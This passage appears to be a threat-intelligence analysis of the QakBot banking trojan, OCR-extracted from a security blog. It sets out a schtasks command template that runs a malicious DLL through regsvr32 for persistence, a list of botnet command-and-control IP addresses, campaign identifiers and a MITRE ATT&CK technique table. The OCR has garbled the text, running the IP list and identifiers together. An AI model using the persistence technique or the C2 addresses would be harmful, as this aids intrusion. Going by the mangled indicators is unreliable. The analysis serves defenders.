o /tr “regsvr32.exe -s \\"<PAYLOAD>”: the process to be executed, in this case, regsvr32 is passed a malicious
dynamic link library (DLL)

e /SC ONCE: task scheduled to execute once at the specified time

e /Z: delete the task upon completion of the schedule

e /ST <Now + 3 minutes as hh:mm>: start time, used by the ONCE schedule; and

e /ET <Now + 15 minutes as hh:mm>: end time, used by the ONCE schedule.

Botnet hardcoded IP Addresses

Campaign: 1618935072

Botnet: tr

Version: 402.12

URL tria.ge: https://tria.ge/210502-aek3yedsfj

Botnet full
list:140.82.49.12:443190.85.91.154:44396.37.113.36:99371.41.184.10:3389186.31.46.121:44373.25.124.140:2222109.12.111.14:44324.229.150.54:9954

Botnet and campaign identifiers

The following botnet and campaign identifiers have been observed last weeks (since March 2021) with those behind Qakbot
recently using US President names:abc025 — 1603896786biden01 — 1613753447biden02 — 1614254614biden03 —
1614851222biden09 — 16149399270bama07 — 16142433680bama08 — 16148551490bama09 — 1614939797tr —
1614598087tr — 1618935072

Mitre Att&ck Matrix
Tactic ID Name Description
QakBot XLM files are
Obfuscated Files or
Defense Evasion T1027 obfuscated and sheets are
Information
hidden.
Every binary and config is

) Obfuscated Files or
Defense Evasion T1027.002 . . obfuscated and encrypted
Information: Software Packing
using RC4 cipher.
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Execution,
Persistence, T1053 Scheduled Task/Job

Privilege Escalation

QakBot creates tasks to

maintain persistence.

Execution, QakBot uses this TTP as a
Scheduled Task/Job: Scheduled
Persistence, T1053.005 Task way of executing every time
as
Privilege Escalation the malicious DLL.

. QakBot uses Process
Defense Evasion, o o .
. K T1055 Process Injection Injection to load into the
Privilege Escalation
memory some payloads.

DLL injection is used to load

Defense Evasion, Process Injection: Dynamic- X
T1055.001 QakBot via rundll32
Privilege Escalation link Library Injection X -
Windows utility.
. QakBot collects credentials
Collection,
. T1056 Input Capture and sensitive data from the
Credential Access
victim’s devices.
QakBot performs process
Discovery T1057 Process Discovery .
discovery.
. . . QakBot obtains the list of
Discovery T1082 System Information Discovery

processes and other details.

. Anti-VM and sandbox
Discovery, Defense

. T1497 Virtualization/Sandbox Evasion  techniques are used to evade
Evasion X
detection.
X Time-based evasion is
Discovery, Defense Virtualization/Sandbox .
T1497.003 checked during the malware
Evasion Evasion: Time Based Evasion .
run time.
. . A list of the installed software
Discovery T1518 Software Discovery

is obtained.

. . Installed AVs and other
. Software Discovery: Security i
Discovery T1518.001 security software are
Software Discovery .
obtained.

Final Thoughts

QakBot is a sophisticated trojan designed to collect banking information from victims’ devices. This piece of malware is
targeting mostly US organizations and it is equipped with a variety of evasion and info-stealing routines as well as worm-
like functions to make it persistent. In recent reports, it could be used to drop other malware such as ProLock, Egregor

ransomware.

QakBot is a challenging threat with capabilities to avoid dynamic analysis in automatic sandboxes with the delayed
executions present in its dropper as well as other tricks. With this capability in place, interactive sandboxes, for instance,

won’t extract IoCs and artifacts from the malware easily.

Last but not least, thanks to all the guys who contributed to this analysis and mentioned in the reference section below.

Additional details are available in the original analysis published by Pedro Tavares on his blog:
https://seguranca-informatica.pt/a-taste-of-the-latest-release-of-qakbot/#.YJOjUrUzY 2y

About the author: Pedro Tavares

Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware
Researcher and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security

computer blog seguranca-informatica.pt.

Follow me on Twitter: @securityaffairs and Facebook
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